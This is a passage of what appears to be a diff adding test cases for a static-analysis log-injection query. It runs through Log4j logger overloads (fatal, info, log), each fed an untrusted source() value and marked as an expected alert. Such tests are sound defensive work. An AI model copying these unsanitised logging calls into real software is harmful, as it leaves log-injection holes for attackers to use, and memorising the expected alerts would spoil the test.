(Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.fatal((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.fatal((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.fatal((Marker) null, (Supplier) source()); // $ Alert + logger.fatal((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.fatal((MessageSupplier) source()); // $ Alert + logger.fatal((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.fatal((Message) source()); // $ Alert + logger.fatal((Message) source(), (Throwable) null); // $ Alert + logger.fatal(source()); // $ Alert + logger.fatal(source(), (Throwable) null); // $ Alert + logger.fatal((String) source()); // $ Alert + logger.fatal((String) source(), (Object[]) null); // $ Alert + logger.fatal((String) null, new Object[] {source()}); // $ Alert + logger.fatal((String) null, (Object) source()); // $ Alert + logger.fatal((String) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.fatal((String) source(), (Supplier) null); // $ Alert + logger.fatal((String) null, (Supplier) source()); // $ Alert + logger.fatal((String) source(), (Throwable) null); // $ Alert + logger.fatal((Supplier) source()); // $ Alert + logger.fatal((Supplier) source(), (Throwable) null); // $ Alert + logger.info((CharSequence) source()); // $ Alert + logger.info((CharSequence) source(), (Throwable) null); // $ Alert + logger.info((Marker) null, (CharSequence) source()); // $ Alert + logger.info((Marker) null, (CharSequence) source(), null); // $ Alert + logger.info((Marker) null, (Message) source()); // $ Alert + logger.info((Marker) null, (MessageSupplier) source()); // $ Alert + logger.info((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.info((Marker) null, source()); // $ Alert + logger.info((Marker) null, (String) source()); // $ Alert + logger.info((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.info((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.info((Marker) null, (String) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((Marker) null, (String) source(), (Supplier) null); // $ Alert + logger.info((Marker) null, (String) null, (Supplier) source()); // $ Alert + logger.info((Marker) null, (String) source(), (Throwable) null); // $ Alert + logger.info((Marker) null, (Supplier) source()); // $ Alert + logger.info((Marker) null, (Supplier) source(), (Throwable) null); // $ Alert + logger.info((MessageSupplier) source()); // $ Alert + logger.info((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.info((Message) source()); // $ Alert + logger.info((Message) source(), (Throwable) null); // $ Alert + logger.info(source()); // $ Alert + logger.info(source(), (Throwable) null); // $ Alert + logger.info((String) source()); // $ Alert + logger.info((String) source(), (Object[]) null); // $ Alert + logger.info((String) null, new Object[] {source()}); // $ Alert + logger.info((String) null, (Object) source()); // $ Alert + logger.info((String) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.info((String) source(), (Supplier) null); // $ Alert + logger.info((String) null, (Supplier) source()); // $ Alert + logger.info((String) source(), (Throwable) null); // $ Alert + logger.info((Supplier) source()); // $ Alert + logger.info((Supplier) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (CharSequence) source()); // $ Alert + logger.log((Level) null, (CharSequence) source(), (Throwable) null); // $ Alert + logger.log((Level) null, (Marker) null, (CharSequence) source()); // $ Alert + logger.log((Level) null, (Marker) null, (CharSequence) source(), null); // $ Alert + logger.log((Level) null, (Marker) null, (Message) source()); // $ Alert + logger.log((Level) null, (Marker) null, (MessageSupplier) source()); // $ Alert + logger.log((Level) null, (Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.log((Level) null, (Marker) null, source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.log((Level) null, (Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + 